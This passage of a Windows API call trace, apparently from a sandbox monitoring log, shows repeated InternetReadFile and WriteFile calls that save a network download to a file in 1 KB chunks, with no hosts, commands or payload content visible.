[0061.510] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.510] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.510] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.510] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.510] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.510] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.510] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.510] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.510] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.510] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.510] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.510] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.510] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.510] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.510] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.511] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.511] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.511] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.511] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.511] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.511] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.511] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.511] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.511] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.511] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.511] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.511] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.511] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.511] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.511] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.512] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.512] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.512] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.512] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.512] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.512] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.512] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.512] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.512] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.512] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.512] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.512] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.512] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.512] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.512] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.513] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.513] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.513] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.513] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.513] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.513] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.513] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.513] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.513] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.513] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.513] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.513] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.513] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.513] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.514] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.514] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.514] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.514] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.514] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.514] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.514] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.514] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.514] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.514] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.514] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.514] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.514] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.514] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.514] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.515] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.515] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.515] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.515] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.515] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.515] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.515] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.515] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.515] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.515] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.515] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.515] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.515] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.515] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.515] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.515] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.516] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.516] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.516] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.516] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.516] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.516] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.516] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.516] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.516] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.516] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.516] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.516] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
